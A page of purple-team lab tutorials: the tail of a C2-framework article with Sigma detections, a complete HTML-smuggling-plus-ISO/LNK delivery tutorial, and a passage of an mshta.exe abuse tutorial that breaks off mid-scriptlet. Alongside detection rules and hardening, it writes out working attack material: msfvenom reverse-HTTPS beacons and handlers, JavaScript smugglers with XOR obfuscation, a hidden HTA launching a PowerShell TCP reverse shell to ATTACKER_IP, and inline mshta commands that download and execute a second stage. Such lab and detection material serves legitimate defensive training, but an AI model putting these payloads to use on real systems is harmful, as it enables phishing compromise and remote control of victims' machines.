      - '\msbuild.exe'
      - '\svchost.exe'
    DestinationPort|not:
      - 80
      - 443
      - 53
  condition: selection
level: high

11.3 Sigma Rule for Cobalt Strike Default Pipes

title: Cobalt Strike Default Named Pipe Pattern
id: 5f0f30b1-8e19-4d20-bd88-1c9b7b5c11ec
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 17
    PipeName|startswith:
      - '\MSSE-'
      - '\postex_'
      - '\status_'
      - '\msagent_'
  condition: selection
level: high

11.4 ETW and Audit Policy

  • Enable Audit Process Creation with command-line inclusion (Detailed Tracking > Include command line).
  • Turn on PowerShell Script Block Logging (EID 4104) and Module Logging.
  • Subscribe an EDR or custom agent to Microsoft-Windows-Threat-Intelligence for NtAllocateVirtualMemory / NtWriteVirtualMemory events. This is where in-process shellcode staging is most visible.
  • Watch Microsoft-Windows-DotNETRuntime for reflective assembly loads (catches CS execute-assembly and Havoc dotnet inline-execute if AMSI has not been blinded first).

11.5 Network-Level Detection

  • JARM fingerprint scan across egress destinations. Cobalt Strike team server JARM hashes are publicly documented.
  • DNS query volume analytics. DNS C2 leaks by throughput because of the 254-char subdomain encoding limit.
  • Egress proxy with TLS inspection. Plain-HTTP C2 dies on inspection; TLS C2 at least surfaces SNI, certificate CN, and request cadence.

11.6 Hardening

  • WDAC or AppLocker to block unsigned DLL loading.
  • Constrained Language Mode for PowerShell, enforce v5+ logging.
  • Credential Guard on Windows 10/11/Server 2019+, breaks LSASS read primitives.
  • Egress allow-listing. If the workstation VLAN cannot talk to arbitrary internet, half your C2 problem is already solved.

Illustration of a multi-layered defense shield blocking C2 beacon signals, representing the three detection layers of process telemetry, ETW runtime monitoring, and network inspection
Effective C2 detection operates across three concurrent layers – Sysmon process telemetry, ETW runtime events, and network fingerprinting – because malleable profiles defeat any single layer alone.

12. Tools

ToolDescriptionLink
Cobalt StrikeCommercial C2. Licensed only, do not use cracksfortra.com
HavocOpen-source Go/C2 with modern evasiongithub.com/HavocFramework/Havoc
SliverBishop Fox open-source cross-platform C2github.com/BishopFox/sliver
SysmonSysinternals process/network/pipe telemetrylearn.microsoft.com
Elastic + WinlogbeatLog pipeline for Sysmon eventselastic.co
SigmaDetection rule formatgithub.com/SigmaHQ/sigma
JARMTLS fingerprint scanner (Salesforce)github.com/salesforce/jarm
ZeekNetwork protocol analyzer for C2 trafficzeek.org
PE-bear / PE-sievePost-callback memory forensicsgithub.com/hasherezade

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Application Layer Protocol: Web ProtocolsT1071.001Sysmon EID 3, egress proxy logs, JARM
Application Layer Protocol: DNST1071.004Sysmon EID 22, DNS query volume analytics
Non-Application Layer Protocol (WireGuard)T1095NetFlow, UDP peer analysis
Process Injection: Portable Executable InjectionT1055.002Sysmon EID 8/10, TI ETW provider
Process Injection: Process HollowingT1055.012Sysmon EID 1 + 8, memory scan
Reflective Code LoadingT1620ETW Microsoft-Windows-Threat-Intelligence
Command and Scripting Interpreter: PowerShellT1059.001EID 4104 script block, 4103 module log
OS Credential Dumping: LSASS MemoryT1003.001Sysmon EID 10 on lsass.exe, Credential Guard
Access Token Manipulation: Token ImpersonationT1134.0014624/4672 logon events, EDR token tracking
Lateral Movement: SMB/Windows Admin SharesT1021.0024624 type 3, Sysmon EID 3, 5140/5145 file share
Ingress Tool TransferT1105Proxy logs, EDR file-write telemetry
Encrypted Channel: Asymmetric CryptographyT1573.002TLS metadata, JARM/JA3
Cobalt Strike (Software)S0154Community rules, JARM fingerprint set
Sliver (Software)S0633Canary domain hits, static Go binary heuristics

Summary

  • A C2 framework is a team server, an implant, and a listener protocol. Everything else, profiles, BOFs, sleep obfuscation, pivots, is a feature bolted on that triangle.
  • Cobalt Strike sets the ergonomic bar (Beacon, malleable profiles, Aggressor, BOFs) but its default artifacts are the most heavily signatured in the industry.
  • Havoc’s Demon bakes modern evasion in by default: Ekko sleep obfuscation, indirect syscalls, hardware breakpoint AMSI/ETW patching, and stack duplication.
  • Sliver is the cross-platform Go workhorse: mTLS/gRPC multiplayer, per-binary keys, WireGuard/DNS transports, canary domains, and an Armory of community modules.
  • Detection lives at three layers: process telemetry (Sysmon EID 1/8/10/17), runtime telemetry (ETW Threat-Intelligence, AMSI, script block logging), and network (JARM/JA4, DNS volume, egress inspection). Malleable profiles will bend static rules; behavior-based detections are what still catch these frameworks in the wild.

Related Tutorials

HTML Smuggling and ISO/IMG-Based Payload Delivery

Objective: Build a working HTML smuggling delivery chain in a lab, drop a container (ISO) that bypasses Mark-of-the-Web, land a shell via a LNK-inside-ISO pattern, then flip to defender and catch every stage with Sysmon, Sigma, and hardening controls.


The interesting thing about HTML smuggling is that nothing about it is a vulnerability. There is no CVE. There is no memory corruption. You are just using HTML5 and JavaScript exactly the way the spec says you can, and the file never crosses a network boundary as a file. Your web proxy sees text/html. Your SEG sees text/html. Your NGFW’s file inspection engine sees text/html. Meanwhile the browser is quietly reassembling a payload in RAM and writing it to Downloads\.

Pair that with an ISO container, and you have removed the second layer of defense too: Mark-of-the-Web. SmartScreen never fires because SmartScreen never sees a marked binary. This is the exact chain NOBELIUM ran in 2021, that QakBot ran to stage Black Basta in 2022, and that keeps showing up in Mekotio, AsyncRAT, and TrickBot samples. This tutorial builds it end to end in an isolated lab, then shows how a competent blue team catches the whole sequence.

Lab is host-only. No internet egress. Attacker VM is Kali, victim is a Windows 10/11 VM with Defender on and Sysmon v14+ installed. Nothing here is aimed at a live target and no unpatched CVE is used – the primitives themselves are the lesson.


1. Why the Perimeter Cannot See This

Think about where a traditional email/web control actually intercepts a file. A secure email gateway scans the attachment MIME parts on ingress. A web proxy inspects the response body for known bad file signatures or hashes. Network DPI matches magic bytes as bytes cross the wire.

HTML smuggling breaks all three assumptions at once. The wire only ever carries an HTML document containing JavaScript. The file (the ISO, the ZIP, the DLL, whatever) is assembled inside the browser after decoding a string that was embedded in the HTML. There is no “download” from the gateway’s perspective, because Blob construction and URL.createObjectURL() are entirely local operations. The blob: URL scheme is a pointer into the browser’s own memory.

The blue-team implication: you cannot catch this at the perimeter with signature matching alone. Detection moves onto the endpoint, specifically into the NTFS Zone.Identifier stream and the process tree that follows. More on that in Section 9.


Conceptual illustration of HTML smuggling bypassing a perimeter checkpoint, with a payload assembling inside after the gate
HTML smuggling never presents a file to the perimeter – only a document – so gateway inspection finds nothing to block.

2. JavaScript Blob Mechanics

Before writing the smuggler, understand exactly which APIs it leans on and why.

APIPurpose
atob()Decodes a Base64 string into a binary string (each char = one byte, 0-255)
Uint8ArrayTyped array holding raw bytes; the Blob constructor accepts it directly
new Blob([data], {type})Builds an in-memory binary object with a MIME type
URL.createObjectURL(blob)Returns a blob: URL that references the in-memory Blob
URL.revokeObjectURL(url)Releases the reference so the Blob can be GC’d
<a download="name">HTML5 attribute that forces a save-as instead of navigation
msSaveBlob(blob, name)Legacy IE/Edge-Legacy API. Deprecated. Modern samples do not use it.

One accuracy note the research brief calls out: msSaveBlob shows up in older writeups and in the MITRE T1027.006 description, but it only exists in IE and pre-Chromium Edge. Any current smuggler you look at will use createObjectURL and a synthetic anchor click. Present it that way.

The rest of the chain is just DOM: create an <a> element, set href to the Blob URL, set download to the filename the victim will see, append it to document.body, call .click(). That is the entire delivery mechanism.


3. Lab Setup

Two VMs, host-only network, 192.168.56.0/24.

HostOSRoleIP
AttackerKali LinuxServes smuggler HTML, runs C2 handler192.168.56.10
VictimWindows 10/11 (Defender on, Sysmon v14+ with SwiftOnSecurity config)Detonates payload192.168.56.20

Install requirements on Kali:

sudo apt install -y genisoimage python3 metasploit-framework

On the Windows victim, install Sysmon with a config that logs FileCreateStreamHash (EID 15) with Contents. Sysmon v11.10+ can capture ADS contents, and you want that.

Sysmon64.exe -accepteula -i sysmonconfig-export.xml
Get-Service Sysmon64

One important note about the victim’s patch level. Microsoft’s KB5022842 (Feb 2023, Win 11 22H2) began propagating MoTW into some container contents. If your Windows victim is fully patched, files inside a mounted ISO may inherit Zone.Identifier and SmartScreen will fire. To reproduce the classic NOBELIUM behavior you either want a pre-KB5022842 Win 10 image, or you accept that on modern Win 11 the bypass is now partial and the tutorial’s job is to show why the primitive worked and how detection stayed relevant either way. Test which side you are on before going further:

Get-HotFix | Where-Object HotFixID -eq 'KB5022842'

4. Craft the C2 Beacon

Generate a stageless HTTPS Meterpreter DLL. For a real engagement you would swap this for a custom shellcode loader. For lab work, msfvenom is fine and gives you predictable telemetry to hunt against.

msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.56.10 LPORT=4443 \
  -f dll -o lab_beacon.dll

Kick off the handler in another terminal so it is ready when the victim detonates:

msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/x64/meterpreter/reverse_https; \
  set LHOST 192.168.56.10; set LPORT 4443; \
  set ExitOnSession false; exploit -j"

5. Build the ISO Payload

The trick that makes ISO a MoTW bypass primitive is that ISO 9660 and UDF are not NTFS. MoTW is an NTFS Alternate Data Stream (:Zone.Identifier). No NTFS, no ADS. When Explorer auto-mounts an ISO on double-click, the files on the resulting virtual drive letter have never had a Zone.Identifier applied to them, so SmartScreen has nothing to check against.

Add a LNK that points to a Living-Off-the-Land binary (LOLBin) which loads your DLL. rundll32.exe is the classic choice and matches the NOBELIUM tradecraft.

On a Windows prep VM, build the ISO staging folder:

mkdir C:\LabISO
Copy-Item .\lab_beacon.dll C:\LabISO\lab_beacon.dll

$shell = New-Object -ComObject WScript.Shell
$lnk   = $shell.CreateShortcut("C:\LabISO\Documents.lnk")
$lnk.TargetPath       = "C:\Windows\System32\rundll32.exe"
$lnk.Arguments        = "lab_beacon.dll,DllMain"
$lnk.WorkingDirectory = "%CD%"
$lnk.IconLocation     = "%SystemRoot%\System32\shell32.dll,1"
$lnk.Save()

Copy C:\LabISO\ to the Kali box (SMB, SCP, shared folder, doesn’t matter), then package it with genisoimage:

genisoimage -o lab_payload.iso \
  -V "DOCUMENTS" \
  -J -r \
  /home/kali/LabISO/

-J enables Joliet, -r enables Rock Ridge. You want both so the LNK filename survives cleanly on Windows. Quick sanity check:

isoinfo -l -i lab_payload.iso
ls -lh lab_payload.iso

Base64 the ISO for embedding in the HTML:

base64 -w 0 lab_payload.iso > lab_payload.b64
wc -c lab_payload.b64

A word of warning that cost me an hour the first time I did this: browsers handle multi-megabyte inline Base64 strings fine but the parse-and-decode step is noticeably slow, and the tab will look frozen for a few seconds on a large payload. Keep the beacon DLL small.


6. Build the HTML Smuggler

Three variants worth practicing. Start with the plain auto-download, then layer obfuscation.

6.1 Variant A: Auto-download on load

<!doctype html>
<html>
<head><title>Secure Document Viewer</title></head>
<body>
<p>Loading secure document viewer...</p>
<script>
  // Base64-encoded ISO. In the lab, paste the contents of lab_payload.b64 here.
  var b64 = "TERMPKAAAAA..."; // truncated

  // atob() decodes Base64 into a binary string: each char code is one byte 0-255.
  var binary = atob(b64);

  // Copy those bytes into a typed array so Blob gets raw bytes, not UTF-16.
  var bytes = new Uint8Array(binary.length);
  for (var i = 0; i < binary.length; i++) {
    bytes[i] = binary.charCodeAt(i);
  }

  // Assemble the file in memory. Nothing has hit disk yet.
  var blob = new Blob([bytes], { type: 'application/octet-stream' });

  // createObjectURL returns a blob:https://... URL that only this document can resolve.
  var url  = URL.createObjectURL(blob);

  // Synthesize an <a download> and click it. This is what actually writes to Downloads\.
  var link = document.createElement('a');
  link.href     = url;
  link.download = 'Documents.iso';
  document.body.appendChild(link);
  link.click();

  // Free the Blob URL. The file is already on disk; the URL is no longer needed.
  URL.revokeObjectURL(url);
</script>
</body>
</html>

The Uint8Array copy loop is not optional. If you pass the binary string directly to Blob, the browser stores it as UTF-16 code units and your ISO ends up with the wrong bytes. charCodeAt(i) gives you the raw byte value because atob returned a string of Latin-1 characters.

6.2 Variant B: Click-triggered

Some detonation environments (sandboxes, headless scanners) navigate to a page and record what happens. Requiring a click delays and can dodge naive analysis:

<button id="dl">Download Report</button>
<script>
document.getElementById('dl').addEventListener('click', function() {
  // ... identical Blob/anchor logic as Variant A
});
</script>

6.3 Variant C: XOR-obfuscated payload

Adding a single-byte XOR before Base64 defeats static string scanning of the HTML for MZ headers or ISO signatures. The QakBot family did versions of this.

Prep on Kali:

# xor_encode.py
key = 0x42
with open("lab_payload.iso","rb") as f: data = f.read()
enc = bytes(b ^ key for b in data)
import base64
open("lab_payload_xor.b64","w").write(base64.b64encode(enc).decode())

Smuggler:

<script>
  var key = 0x42;
  var b64 = "..."; // XOR-then-Base64 blob
  var binary = atob(b64);
  var bytes  = new Uint8Array(binary.length);
  for (var i = 0; i < binary.length; i++) {
    bytes[i] = binary.charCodeAt(i) ^ key;   // undo XOR on the fly
  }
  var blob = new Blob([bytes], { type: 'application/octet-stream' });
  var url  = URL.createObjectURL(blob);
  var a    = document.createElement('a');
  a.href = url; a.download = 'Documents.iso';
  document.body.appendChild(a); a.click();
  URL.revokeObjectURL(url);
</script>

Adds detection surface where it takes it away, though. A payload with atob next to a decoding loop and a Uint8Array and a Blob and an <a download> is a strong static signal on its own, XOR key or not. That is a real thing defenders key on: YARA rules for HTML smuggling do not chase specific strings, they chase the combination of these APIs in one document.


7. Deliver and Execute

On Kali:

cd ~/deliver
cp lab_smuggler.html index.html
python3 -m http.server 8080

On the victim, browse to http://192.168.56.10:8080/. Watch what happens:

  1. Page loads. Static-content scanner sees text/html and lets it through.
  2. JS decodes the ISO, builds the Blob, synthesizes the anchor, clicks it.
  3. Browser writes Documents.iso to %USERPROFILE%\Downloads\.
  4. That file does get a Zone.Identifier ADS – the browser is still an internet source. Open it in a text editor to see:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=http://192.168.56.10:8080/
HostUrl=blob:http://192.168.56.10:8080/8a4d...

That HostUrl=blob:... is the fingerprint. There is no non-suspicious reason for a real user’s downloaded file to have a blob: HostUrl.
5. User double-clicks Documents.iso. Explorer auto-mounts it as, say, E:\.
6. Inside E:\, Documents.lnk and lab_beacon.dll sit with no MoTW.
7. User double-clicks Documents.lnk. Explorer calls ShellExecute, which runs rundll32.exe lab_beacon.dll,DllMain from E:\.
8. Beacon calls back to 192.168.56.10:4443. SmartScreen never fired.

Meterpreter session lands in the handler you left running. You now have execution as the logged-in user with no prompts touched.


Flow diagram showing the full HTML smuggling and ISO delivery attack chain from browser fetch through Blob assembly, ISO drop, auto-mount, LNK execution, and C2 callback
Each stage of the chain defeats a specific control: Blob assembly defeats the gateway, ISO defeats MoTW, and a LOLBin LNK defeats SmartScreen.

8. Why the Chain Works, in One Table

StageControl it defeatsWhy
HTML smuggling (Blob)Web proxy / SEG file inspectionNo file crosses the wire, only HTML+JS
Base64 (+ optional XOR) in HTMLStatic string / signature scanningPayload bytes not present in transit
ISO containerMark-of-the-Web propagationISO 9660 / UDF has no NTFS ADS
LNK inside ISOSmartScreen promptFiles on mounted ISO drive have no Zone.Identifier
rundll32 from ISOApplication allowlisting (weak configs)LOLBin is signed and permitted by default

The important thing here is that each layer targets a specific control. That is why “just block one” is not enough on the defender side.


9. Detection and Defense

Detection lives on the endpoint, and it lives specifically in Sysmon and the process tree. The signal is very strong if you look in the right places.

9.1 Sysmon events that matter

Event IDNameWhat it catches
11FileCreateBrowser writing .iso/.img/.vhd/.vhdx/.zip to Downloads
15FileCreateStreamHashThe Zone.Identifier ADS being written, including its contents
23FileDelete (archive-enabled)Attackers stripping Zone.Identifier post-download
1ProcessCreaterundll32.exe running with a DLL path on a mounted drive letter
22DnsQueryC2 lookup right after the LNK execution

The single highest-signal event in this whole chain is Event ID 15 with a Contents field containing HostUrl=blob:. That is the fingerprint of an HTML-smuggled file, full stop. There is not a benign explanation for that string in a Zone.Identifier on a normal user endpoint. Sysmon started supporting ADS content capture in 11.10, so ensure your config actually asks for it:

<RuleGroup name="" groupRelation="or">
  <FileCreateStreamHash onmatch="include">
    <Rule name="HTML_Smuggling" groupRelation="and">
      <TargetFilename condition="end with">:Zone.Identifier</TargetFilename>
      <Contents condition="contains any">blob:;about:internet</Contents>
    </Rule>
  </FileCreateStreamHash>
</RuleGroup>

9.2 Sigma rules

These are the building blocks. Chain them for higher-fidelity detection. The chain rule concept comes from Micah Babinski’s public research (id: 0952f2fa-e29b-4eb5-831c-ce21520c56e3, marked experimental) – link out to the source and run the individual rules first before you graduate to sequencing.

title: Browser Drops Disk Image or Archive to Downloads
id: 11111111-aaaa-bbbb-cccc-000000000001
logsource:
  product: windows
  category: file_event
detection:
  selection:
    Image|endswith:
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
      - '\iexplore.exe'
    TargetFilename|endswith:
      - '.iso'
      - '.img'
      - '.vhd'
      - '.vhdx'
      - '.zip'
  condition: selection
level: medium
title: HTML Smuggling Zone.Identifier Blob URL Marker
id: 11111111-aaaa-bbbb-cccc-000000000002
logsource:
  product: windows
  category: file_event
detection:
  selection:
    TargetFilename|endswith: ':Zone.Identifier'
    Contents|contains:
      - 'HostUrl=blob:'
      - 'about:internet'
  condition: selection
level: high
title: Rundll32 Executing from Mounted Disk Image
id: 11111111-aaaa-bbbb-cccc-000000000003
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\rundll32.exe'
    CommandLine|re: '(?i)[D-Z]:\\[^\\]+\.dll'
    ParentImage|endswith: '\explorer.exe'
  condition: selection
level: high

Sequence them: Rule 1 fires, then Rule 2 fires on the same file within seconds, then Rule 3 fires within minutes with a matching drive letter. That is the whole chain and it is very hard to produce those three events benignly.

9.3 ETW and audit policy

Complement Sysmon with:

  • Microsoft-Windows-Kernel-File for image mount events
  • Microsoft-Windows-Shell-Core for ShellExecute invocations from LNK
  • Audit Object Access with a SACL on %USERPROFILE%\Downloads for high-value users

Enable command-line logging so the rundll32 lab_beacon.dll,DllMain string actually lands in EID 4688 / Sysmon EID 1:

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" `
  /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
auditpol /set /subcategory:"File System" /success:enable /failure:enable

9.4 Hardening

None of these alone is a fix. Layered they close most of the chain.

  1. Kill Explorer’s auto-mount of disk images. Remove or repoint the mount verb on HKCR\Windows.IsoFile\shell\mount and the .iso/.img/.vhd/.vhdx file associations. Users can still open images with disk tooling; casual double-click detonation dies.
  2. Block container types at the gateway. ISO/IMG/VHD/VHDX are almost never a legitimate business attachment. Drop them at the SEG and the web proxy.
  3. Turn on ASR rule 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC (“Block execution of potentially obfuscated scripts”). Set to Block, not Audit, once you have baselined.
  4. Deploy CDR on inbound HTML. Content-Disarm-and-Reconstruct strips the JavaScript from inline HTML attachments. Kills the primitive at the door.
  5. Patch MoTW propagation. KB5022842 and later propagate MoTW into some container contents. Test your Windows version explicitly; do not assume.
  6. WDAC / AppLocker. Deny rundll32.exe loading DLLs from any non-fixed drive letter. This alone breaks the LNK-in-ISO pattern regardless of MoTW.

10. Purple Team Validation

Do not trust that your rules fire. Prove it.

Detonate the smuggler again with logging cranked up, then walk the artifacts:

# Confirm the smuggling marker on the downloaded ISO
Get-Content "$env:USERPROFILE\Downloads\Documents.iso" -Stream Zone.Identifier

# Confirm the LNK inside the mount has NO Zone.Identifier (proving the bypass)
Get-Item E:\Documents.lnk -Stream * | Select-Object Stream

# Pull the Sysmon events
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=15} `
  -MaxEvents 20 | Where-Object { $_.Message -match 'blob:' }

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} `
  -MaxEvents 50 | Where-Object { $_.Message -match 'rundll32.exe' -and $_.Message -match ':\\' }

You should see:

  • EID 15 with HostUrl=blob:... on Documents.iso
  • Zero streams on the LNK inside the mount
  • EID 1 with rundll32.exe running from a non-C drive with your DLL argument
  • EID 22 with the DNS query (if you gave the handler a hostname)

If any of those did not fire, fix the Sysmon config before you claim the detection.


11. Tools

ToolUseLink
genisoimage / mkisofsBuild ISO on Linux(packaged)
msfvenom / msfconsoleBeacon and handlermetasploit.com
Sysmon + SwiftOnSecurity configEndpoint telemetrysysinternals.com
SigmaDetection rule authoringsigmahq.io
NirSoft AlternateStreamViewInspect NTFS ADSnirsoft.net
Process MonitorConfirm process tree, mounted-drive I/Osysinternals.com
PE-bear / CFF ExplorerInspect the DLL you generated(varies)

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Obfuscated Files or Information: HTML SmugglingT1027.006Sysmon EID 15 with HostUrl=blob: in Zone.Identifier
Subvert Trust Controls: MoTW BypassT1553.005Files inside mounted ISO lacking Zone.Identifier
Phishing: Spearphishing LinkT1566.002Proxy/URL logs to the smuggler page
User Execution: Malicious FileT1204.002EID 1 on Documents.lnk invocation from mount
System Binary Proxy Execution: Rundll32T1218.011EID 1 for rundll32.exe with DLL on non-fixed drive
Application Layer Protocol: Web ProtocolsT1071.001EID 22 / proxy egress to C2 host

Summary

  • HTML smuggling plus ISO delivery works because each layer defeats a specific control: Blob assembly kills perimeter file inspection, and ISO kills Mark-of-the-Web propagation.
  • The delivery chain is HTML → in-browser Blob → ISO on disk → auto-mount → LNK → rundll32 → C2. Every stage is documented adversary tradecraft (NOBELIUM, QakBot, Mekotio).
  • The strongest single detection is Sysmon Event ID 15 with HostUrl=blob: in a downloaded file’s Zone.Identifier stream. That string is not benign.
  • Layered defense actually works here: disable ISO auto-mount, block containers at the gateway, enable ASR obfuscated-script blocking, WDAC-restrict rundll32 off removable drives, and stay current on MoTW-propagation patches (KB5022842+).
  • Validate detections by detonating in the lab, not by reading rule YAML. If the events did not land, the detection does not exist.

Related Tutorials

References

HTA Files and mshta.exe Abuse for Payload Delivery

Objective: Build, deliver, and execute HTA payloads against a lab Windows host through mshta.exe, walk every variant from on-disk file to fully fileless inline monikers, then turn around and engineer the detection a defender needs to catch all of it.


mshta.exe is the kind of binary that should embarrass Microsoft into deprecating it, and yet here it is in 2025, sitting in System32, signed, trusted, and quietly executing whatever VBScript a user double-clicks. Internet Explorer is gone. The MSHTML rendering engine it depends on is officially legacy. The .hta extension is from the Windows 2000 era. None of that matters. As long as mshta.exe ships on every install, red teamers will use it, and you will see it in your logs.

This walkthrough is built around a single lab Windows 10/11 VM and an attacker box (Kali or any Linux with Python 3). No EDR for the offensive phase, then Sysmon turned on for the defensive phase so you can watch your own payloads light up the rule set you write. Everything runs in user context. No CVEs. No kernel work. Just a signed Microsoft binary being asked, very politely, to host a reverse shell.


1. What mshta.exe Actually Is

The Microsoft HTML Application Host lives at C:\Windows\System32\mshta.exe (and SysWOW64). It is a small wrapper around the Trident MSHTML engine: the same rendering and scripting stack that powered legacy Internet Explorer. When mshta.exe runs an HTA, it loads mshtml.dll to parse the HTML, then dispatches script blocks to vbscript.dll or jscript.dll via the standard COM scripting engine plumbing.

The critical difference from IE: HTA content does not run inside Protected Mode and is not constrained by Internet Explorer security zones. The HTA process is a desktop application that happens to be parsing HTML. It has the full token of the user who launched it. Filesystem, registry, COM, network, all reachable.

ItemDetail
Binary pathC:\Windows\System32\mshta.exe, C:\Windows\SysWOW64\mshta.exe
Display nameMicrosoft HTML Application Host
SigningAuthenticode-signed by Microsoft
Rendering enginemshtml.dll (Trident)
Script enginesvbscript.dll, jscript.dll (via COM)
Default association.hta files via the htafile ProgID

Confirm it on your lab box:

where.exe mshta.exe
Get-AuthenticodeSignature C:\Windows\System32\mshta.exe | Select Status, SignerCertificate
cmd /c "assoc .hta"
cmd /c "ftype htafile"

You should see Valid signing status and the htafile association pointing at mshta.exe "%1" %*. That association is the entire premise of phishing-delivered HTAs: a user double-clicks Invoice.hta and Explorer happily launches a signed Microsoft binary that hands the script block to VBScript.


2. HTA File Anatomy

An HTA file is an HTML file with one extra tag, <HTA:APPLICATION>, that tells Trident to drop the browser chrome and treat the document as a desktop app. The tag also exposes attributes that double as evasion knobs.

AttributeWhat it doesWhy an attacker cares
APPLICATIONNAMESets the app nameCosmetic
WINDOWSTATEnormal, minimize, maximizeminimize hides the window
SHOWINTASKBARyes / nono removes the taskbar icon
BORDERWindow border stylenone removes chrome
CAPTIONTitle barno removes title bar
SINGLEINSTANCEPrevents duplicatesSometimes used to avoid double-pop

Here is a benign HTA, so you can see the shape before we weaponize it. Save as hello.hta and double-click it:

<html>
<head>
  <HTA:APPLICATION ID="hello"
    APPLICATIONNAME="HelloLab"
    WINDOWSTATE="normal"
    SHOWINTASKBAR="yes">
  </HTA:APPLICATION>
  <script language="VBScript">
    MsgBox "Running inside mshta.exe as " & CreateObject("WScript.Network").UserName
  </script>
</head>
<body><h2>Hello from HTA</h2></body>
</html>

You will get a real MessageBox with your username, popped by a signed Microsoft binary. Point of view: any time a binary with that much trust will execute arbitrary script from a user-controlled file, the security boundary is the user’s judgement, which is to say there is no boundary.

One quirk worth remembering: mshta.exe‘s parser is sloppy. The <hta:application> tag is not actually required. If you feed mshta HTML or raw script via a vbscript: or javascript: moniker, it will run it. This is what makes the fileless variants in Section 5 possible.


3. Execution Vectors

mshta.exe accepts payloads from far too many places. Memorize this table, because every detection rule you write has to cover all of it:

VectorSyntax
File on diskmshta.exe C:\Users\victim\payload.hta
Remote URLmshta.exe http://attacker/payload.hta
Inline VBScript monikermshta vbscript:Close(Execute("..."))
Inline JScript monikermshta javascript:a=(...).Exec();close();
COM Scriptletmshta javascript:a=(GetObject("script:http://attacker/p.sct")).Exec();close();
about: protocolmshta "about:<hta:application><script>...</script>"
NTFS Alternate Data Streammshta C:\file.txt:hidden.hta
Polyglot in another fileHTA content appended to a PE; mshta scans until it finds script

A single Sigma rule on Image|endswith: '\mshta.exe' and CommandLine|contains: 'http' catches a chunk of this but misses the inline vbscript: and ADS variants. Coverage takes layered rules. We will build them in Section 8.


Graph showing five delivery vectors feeding into mshta.exe which then spawns WScript.Shell or WMI leading to powershell.exe
Every path converges on the same signed host – one binary, five distinct delivery primitives, all landing in the same script execution context.

4. Lab: Building and Serving a Staged HTA Payload

Lab topology: Kali at 192.168.56.10, Windows 10 victim at 192.168.56.20. Replace ATTACKER_IP below with your Kali address.

On the attacker host, stand up two things: a listener and an HTTP server.

# Terminal 1: PowerShell reverse shell listener
rlwrap nc -lvnp 4444

# Terminal 2: HTTP server to host the HTA
mkdir /tmp/hta && cd /tmp/hta
python3 -m http.server 8080

Drop the following file as /tmp/hta/payload.hta. This is a deliberately stealthy HTA: minimized window, no taskbar, no border, no caption. The user sees nothing.

<html>
<head>
  <HTA:APPLICATION ID="lab"
    APPLICATIONNAME="LabApp"
    WINDOWSTATE="minimize"
    SHOWINTASKBAR="no"
    BORDER="none"
    CAPTION="no">
  </HTA:APPLICATION>
  <script language="VBScript">
    Dim oShell
    Set oShell = CreateObject("WScript.Shell")
    ' Lab-only reverse shell stager. Replace ATTACKER_IP.
    oShell.Run "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass " & _
               "-Command ""$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);" & _
               "$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0)" & _
               "{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)" & _
               ";$e=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($e,0,$e.Length)}""", 0, False
    self.close
  </script>
</head>
<body></body>
</html>

Trigger from the victim. Each of these is its own primitive worth understanding:

:: 1. File on disk (post-phishing-download model)
mshta.exe C:\Users\victim\Downloads\payload.hta

:: 2. Remote fetch (the cleaner red-team vector - no .hta touches disk
::    except the cached MSHTML temp file)
mshta.exe http://ATTACKER_IP:8080/payload.hta

On Kali, the nc listener prints a connection and you get an interactive PowerShell. whoami returns the victim user, hostname returns the victim machine.

listening on [any] 4444 ...
connect to [192.168.56.10] from victim [192.168.56.20] 49874
PS C:\Users\victim>

Small gotcha I lost an hour to the first time: if you embed the PowerShell command with mismatched double quotes inside the VBScript string concatenation, mshta.exe will execute the HTA but the powershell.exe child silently dies with a parse error and no callback. Test the PowerShell command in isolation first (powershell -Command "..." from cmd), confirm it talks to your listener, then paste it into the VBScript.


5. Fileless Delivery via Inline Monikers

This is what makes mshta.exe the LotL favorite it is. You never need an HTA file on disk. cmd.exe (or a phishing link, or a LNK file, or a scheduled task) can hand mshta.exe the entire payload as a command-line argument.

:: VBScript inline - fetch and IEX a PowerShell stage two
mshta vbscript:CreateObject("WScript.Shell").Run("powershell -NoP -W Hidden -EP Bypass -Command IEX((New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/stage2.ps1'))",0,False)(window.close)

:: JScript inline via COM Scriptlet
mshta javascript:a=(GetObject("script:http://ATTACKER_IP:8080/payload.sct")).Exec();close();

Forensic footprint comparison:

VariantDisk artifactNetwork artifact
File-based payload.htaThe .hta itself, plus MSHTML cache in INetCacheOutbound from powershell.exe
Remote mshta http://...MSHTML cached copy in INetCache\IEOutbound from mshta.exe to the HTA URL
Inline vbscript:None from mshta; cmd line in 4688/SysmonOutbound only when stage two fires
.sct via GetObjectNone on mshta sideOutbound to .sct URL

The reason mshta.exe is the perfect LotL host: the entire payload lives in process memory of a Microsoft-signed binary. No EXE drops. No DLL drops. The only persistent artifact is the command line, which is exactly why command-line logging (Event 4688 with command line, Sysmon 1) is the single most useful thing you can turn on.

The .sct (COM Scriptlet) for the JScript variant looks like this. Drop in /tmp/hta/payload.sct:

<?XML version="1.0"?>
<scriptlet>
  <registration description="Lab" progid="Lab.Shell" version="1"
    classid="{DEADBEEF-0000-0000-0000-000000000001}">
  </registration>
  <public>
    <method name="Exec"></method>
  </public>
  <script language="JScript">
  <![CDATA[
    function Exec() {
      var shell = new ActiveXObject("WScript.Shell");
